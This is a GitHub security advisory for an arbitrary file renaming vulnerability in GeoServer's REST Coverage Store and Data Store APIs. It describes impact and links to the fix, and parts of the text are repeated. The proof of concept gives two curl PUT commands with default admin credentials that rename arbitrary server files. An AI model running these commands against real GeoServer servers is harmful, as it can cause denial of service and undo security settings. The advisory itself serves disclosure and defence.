Headline
GHSA-75m5-hh4r-q9gx: GeoServer Arbitrary file renaming vulnerability in REST Coverage/Data Store API
Summary
An arbitrary file renaming vulnerability exists that enables an authenticated administrator with permissions to modify stores through the REST Coverage Store or Data Store API to rename arbitrary files and directories with a name that does not end in ".zip".
Details
Store file uploads rename zip files to have a “.zip” extension if it doesn’t already have one before unzipping the file. This is fine for file and url upload methods where the files will be in a specific subdirectory of the data directory but, when using the external upload method, this allows arbitrary files and directories to be renamed.
PoC
Coverage Store Example (workspace and store name are irrelevant and any valid coverage format can be used): curl -XPUT -H"Content-Type:application/zip" -u"admin:geoserver" -d"/file/to/move" “http://localhost:8080/geoserver/rest/workspaces/a/coveragestores/b/external.geotiff” Data Store Example (workspace and store name and data store format are irrelevant): curl -XPUT -H"Content-Type:application/zip" -u"admin:geoserver" -d"/file/to/move" “http://localhost:8080/geoserver/rest/workspaces/a/datastores/b/external.c”
Impact
Renaming GeoServer files will most likely result in a denial of service, either completely preventing GeoServer from running or effectively deleting specific resources (such as a workspace, layer or style). In some cases, renaming GeoServer files could revert to the default settings for that file which could be relatively harmless like removing contact information or have more serious consequences like allowing users to make OGC requests that the customized settings would have prevented them from making. The impact of renaming non-GeoServer files depends on the specific environment although some sort of denial of service is a likely outcome.
References
https://osgeo-org.atlassian.net/browse/GEOS-11213 https://github.com/geoserver/geoserver/pull/7289
Summary
An arbitrary file renaming vulnerability exists that enables an authenticated administrator with permissions to modify stores through the REST Coverage Store or Data Store API to rename arbitrary files and directories with a name that does not end in ".zip".
Details
Store file uploads rename zip files to have a “.zip” extension if it doesn’t already have one before unzipping the file. This is fine for file and url upload methods where the files will be in a specific subdirectory of the data directory but, when using the external upload method, this allows arbitrary files and directories to be renamed.
PoC
Coverage Store Example (workspace and store name are irrelevant and any valid coverage format can be used):
curl -XPUT -H"Content-Type:application/zip" -u"admin:geoserver" -d"/file/to/move" “http://localhost:8080/geoserver/rest/workspaces/a/coveragestores/b/external.geotiff”
Data Store Example (workspace and store name and data store format are irrelevant):
curl -XPUT -H"Content-Type:application/zip" -u"admin:geoserver" -d"/file/to/move" “http://localhost:8080/geoserver/rest/workspaces/a/datastores/b/external.c”
Impact
Renaming GeoServer files will most likely result in a denial of service, either completely preventing GeoServer from running or effectively deleting specific resources (such as a workspace, layer or style). In some cases, renaming GeoServer files could revert to the default settings for that file which could be relatively harmless like removing contact information or have more serious consequences like allowing users to make OGC requests that the customized settings would have prevented them from making. The impact of renaming non-GeoServer files depends on the specific environment although some sort of denial of service is a likely outcome.
References
https://osgeo-org.atlassian.net/browse/GEOS-11213
geoserver/geoserver#7289
References
- GHSA-75m5-hh4r-q9gx
- geoserver/geoserver#7289
- geoserver/geoserver@5d6af2f
- geoserver/geoserver@c37f58f
- https://osgeo-org.atlassian.net/browse/GEOS-11213